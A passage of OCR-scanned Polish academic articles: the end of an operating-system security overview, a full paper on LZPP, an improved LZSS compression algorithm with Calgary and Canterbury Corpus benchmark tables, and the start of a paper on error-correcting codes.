Ograniczenie mozliwos$ci pracy w okreslone terminy (czas)

Mozliwoé¢ zamiany procedur identyfikacji uzytkownikow

Kontrola dostgpu Listy kontroli dostgpu do plikéw i zasobow systemowych

Listy kontroli dostgpu do obiektow pamigci systemowej
Audyt Audyt zdarzen autentyfikacji

Audyt spréb dostgpu do plikéw i zasobéw systemowych

Audyt zdarzen systemu operacyjnego

Srodki analizy zdarzen z interfejsem graficznym

1zolacja podsystemu  |Ochrona SO

RezpisozRiiatA Ochrona aplikacji

Autentyfikacja Funkcja bezpiecznego podiaczenia do sieci

stacji roboczych

Bezpieczne Whudowane narzedzia bezpiecznej transmisji danych w $rodo-
'komunikacje wisku sieciowym

Zarzadzanie Srodki zarzadzania z interfejsem graficznym

bezpieczefistwem Jednakowe mozliwosci zarzadzania klientem i serwerem

' Dostepnosc Praca na standardowym PC

Nalezy pamigtaé: najczesciej] uzywana metoda wiamania do
komputera przez SO (w tym — OS) polega nie na zastosowaniu najnow-
szych narzedzi oraz skomplikowanego oprogramowania wyspecjalizowa-
nego, lecz przez luki w oprogramowaniu. Praktyka wskazuje na to, ze
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kazda nowa wersja SO, kazdy nowy SO zawiera wigcej luk od poprzed-
nich. Wiadomo, ze problem rozgraniczenia dost¢pu catkowicie nie moze
by¢ rozwigzany (bo 100-procentowa ochrona nie istnieje). Czesto sztucz-
ne polepszenia ochrony SO prowadza do tego, ze dodatkowe $rodki stojg
w sprzecznosci z wiasnymi $rodkami ochrony SO. Jednym z najbardzie;j
efektywnych systemdw ochrony SO jest system kontroli dostepu bazowa-
ny na zbiorze regul (RSBAC — Rule Set Based Access Control). RSBAC
posiada struktur¢ modulowa. Kazdy modut realizuje wiasny model ochro-
ny. Na koncowa decyzj¢ o mozliwosci dostepu subiekta sklada si¢ suma
decyzji podejmowanych przez wszystkie modutly [33]. Podobne podejscie
(RBAC — Role Based Access Control) opisano w artykutach Krystiana
Matusiewicza i Grzegorza Potaczaly (w ostatnim wypadku w odniesieniu
do relacyjnych baz danych).

Jedna z nowoczesnych technologii ochrony dokumentéw elektro-
nicznych bazuje na nastgpujacej zasadzie (tezie): jezeli nie mozna zabez-
pieczy¢é gwarantowang ,,dokladno$¢” opracowania informacji w syste-
mach automatyzowanych, to nalezy stworzy¢ kontrolowang technologie
opracowania dokumentéw. W takim wypadku kontroli podlegaja nie izo-
lowalno$¢ srodowiska programistycznego, nie integralno$¢ oprogramo-
wania, lecz stan dokumentu. Dzisiaj niemozliwe jest doktadne 1 komplek-
sowe opisanie modeléw i mechanizmdéw technologicznej ochrony doku-
mentéw. Mozna tylko podkresli¢, ze ten problem jest bardzo aktualny
w dziedzinach komercji elektronicznej (patrz artykul Michala Solowieja)
i witryn internetowych (niektére szczegoty w artykule Jana Ulrycha). Jed-
nym z najbardziej efektywnych rozwigzan do identyfikacji dokumentow
elektronicznych i ich autorow jest zastosowanie podpisow cyfrowych
(artykut Marcina Plonkowskiego zawiera informacje z teorii i praktyki
podpiséw cyfrowych).

Podsumowanie

1. Informacja jest najdrozszym produktem w stosunkach migdzy ludzmi i
nalezy jg chronic.

2. Rosnie znaczenie ,,czynnika ludzkiego”. Rozumiemy przez to poziom
wiedzy, wyksztatcenia i u§wiadomienia wszystkich pracownikéw kon-
kretnego przedsigbiorstwa lub firmy, ze potrzeba polityki bezpieczen-
stwa (administratora bezpieczenstwa) jest sprawg kazdego.

3. Badanie i zastosowanie nowych bardziej efektywnych kompleksowych
(kombinacje kodowania nadmiarowego, kompresji, kryptografii i in-
nych) algorytméw i narzedzi przeksztalcenia informacji jest jednym
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z najwazniejszych kierunkéw teorii i praktyki technologii informa-
cyjnych.

4. Jednym z waznych kierunkéw w okreslonej dziedzinie (chyba naj-
mniej zbadanym) jest analiza ryzyka i kosztow straty informacji w sto-
sunku do istniejacych i projektowanych systemow automatyzowanego
opracowania informacji.

5. Internacjonalizacja standardow i aktéw prawnych w dziedzinie bezpie-
czenstwa systemow i sieci informatycznych odbija wspdiczesne ten-
dencje do budowy bezpiecznej przestrzeni informatyczne;.

Oczywiscie, przedstawiona w tym artykule i w tej ksigzce analiza
wzmiankuje dopiero czg$¢ problemu bezpieczenstwa informacji i bez-
piecznych systeméw i sieci komputerowych.
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Efektywna modyfikacja
algorytmu bezstratnej kompresji LZSS

Pawet Pylak

Niniejszy artykul prezentuje nowa metode bezstratnej kompresji
danych, zwang LZPP i bedaca zaawansowang modyfikacja znanego
algorytmu LZSS [8]. Przy okazji pokazano réwniez kilka mozliwych
ulepszen algorytméw z rodziny LZ [9], [10].

Jako podstawowe kryterium dokonywanych w algorytmie LZSS
zmian autor przyjal kwesti¢ maksymalizacji efektywnosci kompresji, a
wige minimalizacji wspétczynnika kompresji (bpc). Dopiero na dalszym
miejscu znalazla si¢ szybko$¢ kompresji oraz ilo§¢ wykorzystywanej
pamigci.

1. Zastosowanie tablicy haszowej

W standardowej metodzie LZSS podczas kompresji caty bufor stow-
nikowy jest za kazdym razem przegladany w poszukiwaniu pasujacego
podciggu. Zastosowanie tu liniowego przeszukiwania uczynitoby caty al-
gorytm bardzo wolnym, gdyz liczba operacji odczytu i poréwnania jest
w przyblizeniu réwna iloczynowi dlugosci danych i dlugosci bufora.
W celu praktycznego umozliwienia dalszych optymalizacji (ze wzgledéw
czasowych) w LZPP poprawiono przede wszystkim wyszukiwanie
poprzez zastosowanie tablicy haszowej i metody tancuchowej z listami
nieposortowanymi. Pojawilo si¢ tu jednak kilka probleméw:

a) dobér odpowiedniej funkcji haszujacej;

b) ustalenie wielkosci tablicy haszowej;

¢) ustalenie maksymalnej wielkosci list.
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Ad. a). W niniejszym przypadku tablica haszujgca powinna dawaé
mozliwo$é szybkiego znajdowania podciaggéw zaczynajacych si¢ od okre-
$lonych symboli (bajtéw). Liczba branych pod uwage symboli jest okre-
$lona przez pewna stata MIN_DL. Stad argumentem funkcji haszujacej
powinno byé MIN_DL bajtéw, natomiast wynikiem powinna by¢ liczba,
ktéra jest indeksem w tablicy haszowej listy zawierajacej wskazniki do
miejsc w buforze, gdzie sg poszukiwane podciagi. Dodatkowo funkcja
haszujaca powinna jak najlepiej ,,miesza¢”, by maksymalnie ograniczyé
prawdopodobienstwo kolizji. Rozpatrywano tu trzy funkcje haszujace
réznego typu:

e funkcje oparta na operacji XOR,
e funkcje

W{Xo, e, %) =127kx0+127k'1x1+. - « ¥12TRy-7¥3. mod T,
gdzie T jest wielko$cig tablicy,

e CRC32 modulo wielkos¢ tablicy (suma kontrolna obliczona algo-
rytmem CRC32 dla MIN_DL bajtéw bedacych argumentem funkcji
modulo wielkos¢ tablicy).
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Rys. 1. Przykiad mieszania funkcji haszujqcej opartej na operacji XOR

Zachowanie si¢ poszczego6lnych funkcji jest zaprezentowane na ry-
sunkach 1, 2, 3, ktére pokazuja liczbe odwotan do tablicy haszowej (ogra-
niczone do 2048) podczas kompresowania pliku ,xplik” (polaczone
w jeden plik wszystkie pliki z Calgary Corpus [2]).
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Rys. 3. Przyklad mieszania funkcji haszujqcej opartej na CRC32

Z powyzszych wykresdw widaé wyraznie, ze najbardziej rozpro-
szone, a co za tym idzie, najbardziej zrbwnowazone, a wigc wlasciwe
wyniki daje funkcja oparta na CRC32, natomiast najgorsze funkcja oparta
na XOR. Jako$¢ funkcji W jest zblizona do jakosci funkcji CRC32, choé
jest troche stabsza. Wyniki kompresji plikOw potwierdzajq powyzsze
wnioski.

Ad. b) c¢). Specyfika przecigtnych danych kompresowanych powo-
duje, ze aby osiagngé efektywna (w sensie czasowym) kompresje, nalezy
ograniczy¢ liczbe elementéw kazdej listy z tablicy. Jest to szczegdlnie
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istotne w wypadku kompresji danych z wielokrotnymi powtdrkami, gdzie
ten sam poczatek maja tysiace podciagow. Wtedy kazdorazowe liniowe
przeszukanie takiej listy byloby nieoptacalne. Niestety, ograniczenie
wielkosci list odbija si¢ niekorzystnie na jakosci kompresji, gdyz
algorytm musi usuwa¢ z pamigci informacje o pewnych podciagach, ktére
byé moze moglyby si¢ jeszcze przyda¢ w przysztosci. Wyniki badan za-
leznosci wspotczynnika kompresji od funkcji haszujgcej, wielkosci list
oraz wielkosci tablicy haszowej przedstawia tab. 1 oraz odpowiadajacy jej
wykres zaprezentowany na rys. 4. Liczba przy nazwie CRC32 lub XOR
oznacza gorne ograniczenie wielko$ci list. Przy okazji widaé przewage
funkcji CRC32 nad XOR. CRC32 nawet przy matej tablicy haszowej
zachowuje si¢ niezle i1 straty jakosci kompresji sq niewielkie (utamki
procent). Tak wigc najefektywniejsze jest wybranie do haszowania
funkeji CRC32 oraz ustawienie wielkodci tablicy haszowej na 32K lub
64K. Wigksze rozmiary nie przynosza juz praktycznie zadnych efektow.
Podobnie sprawa ma si¢ z gérnym ograniczeniem wielkosci list. Dla list
duzszych niz 2048 poprawa jakosci kompresji jest juz niewielka.
Niezastosowanie zadnego ograniczenia poprawia kompresje tylko
0 0,004 bpc w stosunku do ograniczenia ustawionego na 2048, Natomiast
czas kompresji takich plikéw jak ,,pic”, gdzie jest duzo powtorek, wy-
diuza si¢ kilkadziesiat razy. |

Ostatecznie wigc w LZPP zastosowano funkcja haszujaca oparta na
CRC32, ustawiono wielkos¢ tablicy haszowej na 64K elementéw oraz
gorne ograniczenie list na 2048.

Tab. 1. Jakos¢ kompresji w zaleinosci od funkcji haszujqcej, wielkosci list
oraz wielkoS$ci tablicy haszowej w metodzie LZSS

Metoda + Wielkos¢ tablicy haszowe] [elementy]
ograniczenie

1024 2048) 4096 8192 16384| 32768| 65536| 131072| 262144/ 524288 1048576
CRC-2048 3,1232|3,1232{3,1232|3,1232|3,1232|3,1232|3,1232| 3,1232| 3,1232 3,1232| 3,1232
XOR-2048 3,1232(3,1232(3,1232{3,1232|3,1232 3,1232 3,1232| 3,1232] 3,1232] 3,1232| 3,1232
CRC-1024 3,1250{3,1244|3,1244(3,12443,1244|3,1244|3,1244| 3,1244| 3,1244] 3,1244| 3,1244
XOR-1024 3,1252(3,1246(3,1246|3,1245(3,1244{3,1244|3,1244| 3,1244| 3,1244| 3,1244| 3,1244
CRC-512 3,1311|3,1286|3,1284(3,1282(3,1282| 3,1282(3,1282| 3,1282| 3,1282| 3,1282] 3.1282
XOR-512 3,13703,1336(3,1303(3,12923,1291|3,1285|3,1282| 3,1284] 3,1282| 3,1282| 3,1282
CRC-256 3,1480|3,1426|3,1408(3,1402|3,1401 {3,1399|3,1399| 3,1399| 3,1399| 3,1399| 3,1399
XOR-256 3,1979(3,1709|3,1553|3,1456|3,1433 3,1420{ 3,1407 3,1405] 3,1399] 3.1399| 3.1399
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Rys. 4. Zaleznosé¢ jakosci kompresji od funkcji haszujqcej, wielkosci list
oraz wielkosci tablicy haszowej w metodzie LZSS

Przy implementacji tablicy haszowej trzeba dodatkowo pamigtaé, ze
wchodzi tu w gre jeszcze wielko$¢ bufora stownikowego. Chodzi o to, by
zaden element zadnej listy nie wskazywal na podciag, ktéry juz jest poza
buforem stownikowym. Inaczej méwigc, oprécz dodawania elementéw
do tablicy haszowej algorytm powinien réwniez usuwaé te, ktore juz sa
nieaktualne.

2. Kodowanie indeksow

Pierwszg rzecza, na jakgq powinno si¢ zwréci¢ uwage podczas mody-
fikacji zmierzajacych do poprawy jakosci kompresji, sa indeksy, ktore
kazda z metod LZ generuje. Dokonuje si¢ tu nastgpujacych ulepszen.

Przy odpowiednim manipulowaniu indeksami mozna w kazdej me-
todzie LZ zastosowa¢ do ich kodowania ktéras ze statystycznych adapta-
cyjnych metod kompresji, np. metod¢ Huffmana lub arytmetyczna.
Potwierdzeniem tego faktu moze by¢ przykiad rozktadu prawdopodo-
bienstw indekséw (obliczanych jako odleglo$¢ od aktualnego miejsca
kompres;ji), jakie generuje metoda LZSS podczas kompresji pliku ,,xplik”
(potaczonych w jeden wszystkich plikéw z Calgary Corpus). Prezentuje
to wykres na rys. 5.
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Rys. 5. Rozkiad prawdopodobienstw indekséw generowanych przez metode LZSS
podczas kompresji pliku ,, xplik”

Wykresy dla wigkszosci plikéw, na ktérych prowadzone byty do-
swiadczenia, miaty podobne ksztalty, a wiec mozna stad wnioskowaé, ze
statystycznie indeksy maja taki wlasnie rozklad. Co wiecej, symbole ma-
jace taki rozktad powinny da¢ si¢ dosy¢ dobrze skompresowaé koderem
statystycznym, gdyz entropia zrédta S generujacego te indeksy (patrz [7])
wynosi tu H(S) = 8,954 (bitéw). Czyli np. maksymalna mozliwa statyczna
kompresja z prostym modelem statystycznym zredukowatlaby liczbe bi-
tow potrzebnych do zapamigtania indekséw nawet o 44%.

Wykorzystujac powyzszy fakt, w metodzie LZPP do kodowania in-
deksow zastosowano szybka odmiang kodera arytmetycznego, tzw. Ran-
geCoder [4]. Uzyty tu RangeCoder zostal wyposazony dodatkowo w ta-
kie mechanizmy, jak: bufor rotacyjny, obstuga znacznika Escape oraz
mechanizm wykluczania zbioréw pewnych symboli (exclusions). Poza
tym przy kodowaniu indekséw zastosowano niezalezne kodowanie
poszczegdlnych bajtéw indekséw, co pozwolilo na uzycie bardzo duzego
bufora stownikowego (16MB).

3. Kodowanie dlugosci podciggéw

Patrzac na wykresy rys. 6-9, ktore podaja liczbg wystapien ciagdw
o dtugosciach od 3 do 258 w dwoch przyktadowych plikach, mozna tatwo
doj$¢ do wniosku, ze warto kodowaé diugosci, wykorzystujac metody
entropijne, np. metod¢ Huffmana lub kodowanie arytmetyczne. Moze to
zredukowa¢ Srednig liczbg bitdw potrzebnych na zapisanie dhugosci
nawet o 75%. '
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Rys. 6. Rozkiad dlugosci powtarzajqcych sie ciqgéw danych (3-258) w pliku ,,0bj1”
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Rys. 9. Rozkiad dlugosci powtarzajqcych sie ciqgow danych (3-15) w pliku ,, pic”
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W metodzie LZPP do kodowania dtugo$ci podciagéw, podobnie jak
w przypadku indekséw, zastosowano RangeCoder. Tutaj rowniez zasto-
sowano niezalezne kodowanie poszczegélnych bajtéw, przez co osig-
gnieto mozliwo$¢ zapisu informacji o ciggach o dlugosci nawet do 64KB.

4. Kodowanie flag

Flagi, czyli znaczniki sterujace procesem dekompresji, sa rowniez
elementami, ktére mozna podda¢ specjalnemu kodowaniu w celu usunigcia
nadmiarowosci. Warto zauwazy¢, ze w metodzie LZSS flaga odpowie-
dzialna za rozr6znianie kodowania symboli (0) i ciagéw (1) z reguty ma
rozklad prawdopodobienstw rézny od p (0) = *sip(1l) = s Przyktad
zmian rozktadu prawdopodobienstw pojawienia si¢ flagi 0 demonstruja rys.
10 oraz rys. 11 wykonane dla dwdch réznych plikéw z Calgary Corpus.
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Rys. 10. Zmiany rozkiadu prawdopodobieristwa flagi 0
odpowiadajqcej za kodowanie symboli w pliku ,, 0bj1"
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Rys. 11. Zmiany rozkiadu prawdopodobienstwa flagi 0
odpowiadajqcej za kodowanie symboli w pliku ,, paperl”
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Wida¢ wyraznie, ze liczba nadmiarowych bitéw zaréwno w jednym,
jak 1 drugim wypadku jest znaczna.

Badania wykazaly, ze zastosowanie RangeCoder do flag w LZPP
przynosi poprawe kompresji nawet o 2%.

5. Niekompresowane symbole

Kolejng modyfikacja, jaka mozna wykonaé, jest zakodowanie do-
wolng metoda entropijng symboli, ktore nie zostaly skompresowane przez
LZSS i sa wysylane jako niezmienione. Uzycie tu np. metody Huffmana
redukuje o okolo polowe liczbe bitéw przeznaczonych na te symbole.
W metodzie LZPP do kompresji tychze symboli wykorzystano trady-
cyjnie juz RangeCoder, ktdry ma znacznie lepsze wlasciwosci niz metoda
Huffmana, przez co liczba zredukowanych bitéw jest troche wieksza.

6. Specjalne kodowanie ciggéw trzybajtowych

Nastepna modyfikacje oparto na fakcie, ze standardowy LZSS nie
uwzglednia czesto$ci wystgpowania konkretnych podciggéw. Innymi
stowy, jesli przyktadowo w ciagu ostatnich » (n okresla rozmiar bufora
stownikowego dla ciagdw o dtugosci 3) symboli podciag ‘abc’ wystepo-
wal 5 razy, natomiast podcigg ‘def” tylko raz, to naturalne jest przyznanie
podciggowi ‘abc’ wigkszego prawdopodobienstwa na pojawienie sie
w kolejnych danych niz podciggowi ‘def’. Jednak standardowy algorytm
LZSS w ogoéle nie rozréznia tychze prawdopodobienstw i podaje po pro-
stu tylko indeks danego podciagu. Zauwazmy, ze nawet jesli do indekséw
uzywamy kodowania entropijnego przedstawionego w poprzednim para-
grafie, to koder ten nie bierze pod uwage zawartosci podciagéw, lecz
tylko ich polozenie. Stad dla takiego kodera wszystkie wystapienia
podciagu ‘abc’ sa réznymi podciagami. Co wiecej, jesli podciag ‘def’
wystapil pdzniej niz ostatni z ‘abc’, to ‘def’ ma dla takiego kodera
wigksze prawdopodobienstwo, gdyz jest blizej aktualnie kodowanego
znaku (por. rys. 5).

Cho¢ problem dotyczy ciggéw o dowolnych dlugosciach, to ze
wzgledéw implementacyjnych, a przede wszystkim ze wzgledow zwigza-
nych z szybkoscig kompresji, w LZPP polepszono tylko mechanizm
przetwarzania ciagdw trzybajtowych, ktérych statystycznie jest najwiece;.
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W tym celu utworzono specjalng strukture, ktdra przechowuje infor-
macje o pewnej ustalonej liczbie ostatnich trzybajtowych podciggdw.
Oczywiscie informacja ta oprécz faktu wystapienia danego podciagu za-
wiera rowniez licznik wystapien tego podciagu. Tak wiec LZPP w wy-
padku ciagéw trzybajtowych zamiast wysyla¢ informacje w formacie
(1, dlugosé, indeks) generuje specjalnie kodowane (entropijnie) pary
(2, indeks_3), gdzie ,,indeks 3” jest indeksem danego podciggu trzybaj-
towego w wyze] wspomnianej strukturze. Licznik wystapien tego pod-
ciggu jest uzywany przy kodowaniu entropijnym jego indeksu.

7. Wykluczanie symboli
na podstawie niespelniania kryterium bycia podciggiem

Nast¢pnym krokiem w usuwaniu nadmiarowos$ci LZSS bylo zauwa-
zenie faktu, ze po zakodowaniu dwodch pojedynczych znakéw mozna
znalez¢ pewne dodatkowe informacje dotyczace kolejnego symbolu.
Mianowicie kolejnym symbolem nie moze by¢ Zzaden z symboli, ktéry
wraz z dwoma go poprzedzajacymi stworzylby trzybajtowy cigg. W tym
wypadku nie ma sensu bada¢ ciggdw o wiecej niz trzech znakach, gdyz
trzybajtowe ciagi sg podciagami ciagéw czterobajtowych i dtuzszych.

Do realizacji tego zadania wykorzystano mechanizm wykluczen
(exclusions).

8. Wykluczanie symboli
na podstawie niespelnienia kryterium nieprzerywalnosci ciagow

Kolejng wiasnoscig LZSS, ktéra mozna wykorzysta¢ do zwigkszenia
efektywnosci LZPP, jest fakt, ze symbol wystepujacy po podciagu, kidry
byl wzorcem dla wlasnie zakodowanego podciagu, nie moze si¢ pojawié
jako kolejny w kodowanych danych. Oczywiscie wyjatkiem jest tu przy-
padek, gdy dany podciag zakonczy? si¢ naturalnie, tzn. gdy osiggnat mak-
symalng dtugos¢.

Przyktad
Mamy juz przetworzone dane: xxxabcdyyxxz. Niech kolejnymi da-

nymi bedzie: abcdxy. Oczywiscie LZPP symbole abcd zakoduje jako
podciag 4-elementowy. Teraz o nastgpnym symbolu wiadomo, ze na
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pewno nie bedzie to y, gdyz gdyby byl y, wtedy kodowany ciag miatby
dhugos¢ 5 lub wigce;.

Podobnie jak w poprzednio opisanej optymalizacji tak i tutaj wyko-
rzystano mechanizm wykluczen.

9. Ograniczenia indekséw ciggoéw cztero i pigciobajtowych

Okazuje sie, ze gdy przetwarzane ciagi sg krétkie (4 lub 5 bajtéw), to
przy zastosowaniu duzych indekséw nie oplaca si¢ ich kodowanie. Stad
w algorytmie LZPP ograniczono indeksy ciagéw czterobajtowych do 255,
a pigciobajtowych do 65535. Pozwolifo to na kodowanie dla tych pierw-
szych tylko najmniej znaczacego bajta indeksu, a dla tych drugich dwoch
mniej znaczacych bajtéw indeksu. Jesli dany ciag nie speinia odpowied-
niego kryterium, tzn. np. jest czterobajtowy i ma indeks wigkszy od 255,
to algorytm zachowuje sie tak, jakby nie znalazl zadnego podciagu.

10. Konteksty rzedu 1

Opisane do tej pory operacje na ciagach braty pod uwagg tylko ciagi
co najmniej trzybajtowe. Praktyka pokazuje jednak, ze mozna w kompre-
sji réwniez wykorzystaé pewne zaleznosci, jakie wystepuja w ramach par
bajtéw. Idac za ta mysla, w LZPP zastosowano mechanizm obstugi kon-
tekstow rzedu 1 podobny do znanego z PPM (Prediction by Partial
Match) [5]. Tu réwniez przez kontekst pierwszego rzedu danego symbolu
(bajta) rozumie si¢ jeden bajt, ktory poprzedza 6w symbol.

Optymalizacje te zrealizowano w nastgpujacy sposob. Stworzono ta-
blice indeksowang wszystkimi kontekstami rzgdu 1, ktorej elementami sa
obiekty przechowujace informacje o rozkladach prawdopodobienstw
symboli w ramach danego kontekstu. Do flag dodano nowg wartosc (3),
oznaczajaca kodowanie elementu w kontekscie pierwszego rzedu. Do-
tychczasowe kodowanie pojedynczego znaku, ktére bylo uzywane
w momencie, gdy nie znaleziono zadnego pasujacego podciagu, poprze-
dzono weryfikacja mozliwosci zakodowania danego symbolu w kontek-
$cie rzedu 1. Weryfikacja ta polega na sprawdzeniu, czy analizowany
symbol ma niezerowe prawdopodobienstwo pojawienia si¢ w danym
kontekscie. Jesli tak jest, wtedy kodowana jest flaga 3 i przy wykorzysta-
niu specyficznego dla danego kontekstu rozkladu prawdopodobienstw
kodowany jest aktualny symbol. Jesli natomiast weryfikacja wypadia nie-
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pomyslnie, wowczas LZPP koduje aktualny symbol standardowo, a wigc
koduje flage 0 oraz sam symbol. Nast¢pnie aktualizowane jest prawdopo-
dobienstwo danego symbolu w danym kontekscie rzgdu 1.

Wyniki oraz podsumowanie

Podsumowujgc, nalezy stwierdzi¢, ze wykonane w LZPP optyma-
lizacje z pewnos$ciag nie sq jedynymi mozliwymi. Jednak mimo to
osiagnigte przez t¢ metode rezultaty moga by¢ zadowalajace.

Tab. 2. Porownanie wynikow osiqganych przez algorytm LZPP
Z wynikami innych znanych algorytméw (Calgary Corpus)

Plik Rozmiar LZSS LZPP WinZIP 8.0 WInRAR 2.9 PPMZ2 0.8 RK 1.04
oryginalny| bajty | bpc | bajty | bpc | bajty | bpc | bajty | bpc | bajty | bpc | bajty | bpc

bib 111261] 39660]2,8517] 33122]2,3816] 234878[2,5078] 32759 2.3555[ 23892[1,7179] 24292[ 1,7467
book1 768771] 355980|3,7044] 278238] 2,8054| 312257|3,2494] 275058) 2,8623| 210942| 2,1951| 207420 2,1585
|book2 610856] 232189| 3,0408| 185932 2,4350] 206134 2,6996} 179801]2,3547| 140708 1,8428] 139548| 1,8276
[geo 102400] 91180(7,1234| €3028| 4,9241] 68392(5,3431] 61522|4,8064] 58603|4 65784} 47632| 3,7213
news 377109 1656_83' 3,5360| 127002| 2,6942] 144377|3,0628) 125619 2,6649] 103945(2,2051] 105364| 2,2352
obj1 21504] 12772{4,7515] 10256] 3,8155 1029?13.83071 9815|3,6514] ©9856|3,6667] 9452| 3,5164]
obj2 246814) 101521|3,2906| 77402| 2,5088] 81064|2,6275 73135 2,3705] 69144[2,2412] 61712] 2,000
|paper1 53161] 22164|3,3354] 18164| 2,7334] 18518|2,7867] 18074|2,7199] 14599|2,2120] 15036 2,2627|
paper2 82199| 34659|3,3732] 28564| 2,7800] 29642|2,8849| 28502|2,7740] 22447|2,1846| 22676 2,2069|
paper3 46526| 21893|3,7644] 17639| 3,0330F 18049|3,1035] 17752 3,0524[ 14327|2,4635] 14640] 2,5173
paperd 13286) 7035]4,2360] 5471 3,2943] §508(33172] 5499|3,3112] 4634|2,7903| 4788) 2,8830
paper5 11954 6351]4,2503] 65021{ 3,3602 4970]3,3261] 4957/3,3174] 4336 2,9018] 4480| 2,9982
papert 38105| 16370|3,4368| 13195 2,7702| 13188(2,7688] 130863]2,7425) 10927| 2,2941] 11180 2,3472]
pic 513216| 91381|1,4244] 51615/ 0,8046] 52359(/0,8162] 49048 0,7645] 48278|0,7526] 30708| 0,4787
progc 39611] 16365|3,3051] 13263] 2,6786| 13237|2,6734] 13120!2,6498] 11174|2,2567] 11404| 2,3032
rogl 71646] 20431|2,2813] 16105| 1,7983| 16140(1,8022| 15739 1,7574] 12960|1,4471} 13280( 1,4828
49379 14227]2,3049| 10997] 1,7816] 11162|1,8084] 10749|1,7415] 8943|1,4489] 9256( 1,4996

trans 93695] 24287|2,0737] 18340| 1,5659| 18838[1,6085] 17916|1,5297] 14225|1,2146] 14592| 1,2459
Suma 3251493]1275148] 3,1374] 573354] 2,3948]1059011] 2,6056] 952126] 2,3426] 784040] 1 9291] 747460| 1,8391
xplik 325149311258250 3,0958] 961879] 2,3666[1080523] 2,6585| 935840] 2,3028| 804028} 1,9782 762320] 1,9248

Z tab. 2 widaé, ze algorytm LZPP osiaga na Calgary Corpus [2]
dobre wyniki. Ma on o okolo 30% lepszy wspélczynnik kompresji niz
LZSS i o okoto 10% lepszy niz WinZip (i podobne, czyli pkzip, zlib itd.),
natomiast od komercyjnego WinRar’a gorszy jest o okoto 2,5%—3%.
Niestety, zbyt duzo nieusunietej nadmiarowosci stawia wszystkie metody
wywodzace si¢ z rodziny LZ, w tym LZPP, daleko za algorytmami
bazujacymi na PPMZ [3], w tym RK.

Badania przeprowadzone na Canterbury Corpus [1] dajg wyniki réz-
nigce si¢ od wyzej przytoczonych.
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Tab. 3. Poréwnanie wynikoéw osiqganych przez algorytm LZPP
Z wynikami innych znanych algorytméw (Canterbury Corpus)

Plik Rozmiar LZSS LZPP WinZiP 8.0 WInRAR 2.9 PPMZ20.8 RK 1.04
oryg, | ba bpc | bajty | bpc | bajty | bpc | bajty | bpc | bajty | bpc | bajty | bpc
alice29.ixt 152089) 61447|3,2322] 51141|2,6901| 54161|2,8489] 50954|2.6802| 39131|2,0583] 38928|2,0476|
asyoulik.txt 125179] 57329|3,6638] 46733|2 9866] 48798 3,118§I 46702 2,9847| 36139|2,3096] 36264}2,3176
cp.html 24603 9529|3,1310] 7988|2,5900| 7955|2,5867] 7901|2,5691] 664221597 €660]2,1656
fields.c 11180] 3729|2,6755] 3167(2,2723| 3109|2,2307] 3084}2,2127] 2643(1,8963] 2688| 1.9286
ammar.lsp 3721 1516[3,2593] 126227132 1216{2,6144] 1237|2,6595] 1071]2,3026] 1176]2.5284

kennedy.xIs || 1029744| 317389| 2,4658] 87618| 0,6807| 209703| 1,6292| 119785|0,9306| 176724} 1,3730} 23924| 01859

jlcet10.xt 426754] 162440} 3,0451] 128400| 2,4070{ 144400| 2,7069] 126038{ 2,3639| 95875] 1,7973] 84368| 1,7680,

Irabn12.1x1 || 481861} 224948 3.7347] 176254 2,9262 194246 3,2249] 174952] 2,9046| 132281 2,1962] 130932 2,1738
lgﬂS 513216] 92912|1.4483| 51615/0,8046] 52359|0,8162] 49046|0,7645| 48287|0,7527) 30704|0,4786
sum 38240] 16656{3.4845| 12607|2,6374] 12750|2,6674] 11687|2,4450] 12135|2,5387| 10832|2,2861
xargs. 1 42271 2130140312 176713,3442} 1730{3,2742| 1743|3,2988] 1506|2,8502| 1624|3,0736
Suma 2810784} 950125/ 2,7042] 568532| 1,6181] 730427 2,0789] 593189 1,6883| 552434 1,5723] 378100/ 1,0761

Na Canterbury Corpus algorytm LZPP jest pod wzglgdem wspétczynnika
kompresji 0 67% lepszy od wyjsciowej metody LZSS, o okoto 28% lepszy od
WinZip’a i 0 4,34% lepszy od WinRar’a. Wida¢ rowniez, ze dzigki dobremu
skompresowaniu pliku ,.kennedy.xls” LZPP osiggnat wynik niewiele gorszy
niz PPMZ2. Niestety, algorytm RK dzigki bardzo inteligentnemu polaczeniu
PPMZ i LZ jest praktycznie poza zasiggiem pozostalych metod.
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Wykrywanie i korygowanie bledow
w danych binarnych
za pomoc3 kodow nadmiarowych

Pawel Janocinski

Obecna technologia przesytania informacji opiera si¢ przede wszyst-
kim na przeptywie pradu elektrycznego lub fal radiowych, zas magazy-
nowanie informacji polega na jej zapisie na no$nikach ferromagne-
tycznych. Wszystkie powyzsze procesy maja jednak wspolng ceche: sa
podatne na zaklécenia elektromagnetyczne, ktérych zrédlem moga by¢
zarowno urzadzenia, jak i zjawiska naturalne. Zupelne odizolowanie urza-
dzen od czynnikéw zewnetrznych nie jest mozliwe, zatem konieczne jest
stosowanie programowych metod ochrony danych.

Jedng z najpowszechniejszych metod ochrony danych podczas trans-
misji jest stosowanie binarnych kodéw nadmiarowych. Pozwalaja one na
wykrycie i poprawienie okreslonej liczby blgdéw w bloku danych o zdefi-
niowanej diugosci. Teoria informacji, matematyczna dziedzina, na ktorej
opierajg sie badania dotyczace ochrony danych, pozwala na okreslenie
teoretycznych wiasciwosci kodéw. Pozwala rowniez na okreslenie mate-
matycznego modelu procesu transmisji. Dzigki temu mozliwe jest doktad-
niejsze zbadanie wlasciwosci kodéw w réznych warunkach.

Najlepsza metodg oceny przydatnosci danego kodu do konkretnego
zastosowania jest zbadanie jego dziatania w docelowym srodowisku. Nie-
stety, nie zawsze jest to mozliwe. Rozwiazaniem tego problemu jest za-
stosowanie symulacji. Niniejszy artykut przedstawia aplikacj¢ modelujacq
wszystkie podstawowe elementy systemu transmisji. Program ten po-
zwala na przeprowadzenie symulowanej transmisji dowolnych danych
binarnych przy zastosowaniu kodéw nadmiarowych przez kanaly trans-
misji o réznej charakterystyce. Przedstawiona aplikacja umozliwia prze-
prowadzenie powtarzalnych eksperymentéw, co pozwala na jednoznaczng
oceng i poréwnywanie metod ochrony danych.
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1. System komunikacji

Transmisja danych jest procesem zachodzacym w pewnym systemie,
nazywanym systemem komunikacji. W najprostszej postaci sktada si¢ on
ze zrédla danych, kanatu transmisji oraz odbiorcy. Dla potrzeb teorii in-
formacji wyrdznia si¢ jeszcze dwa dodatkowe elementy. Pelny schemat
systemu komunikacji przedstawia rys 1.

Zrodio 5 Odbiorca
danych danych
wiadomaosé ZAKLOCENIA wiadomaosd
nadana SR cdebrana
LARR
2 3 4

Nadajnik N— Kanat |5 |  Odbiornik
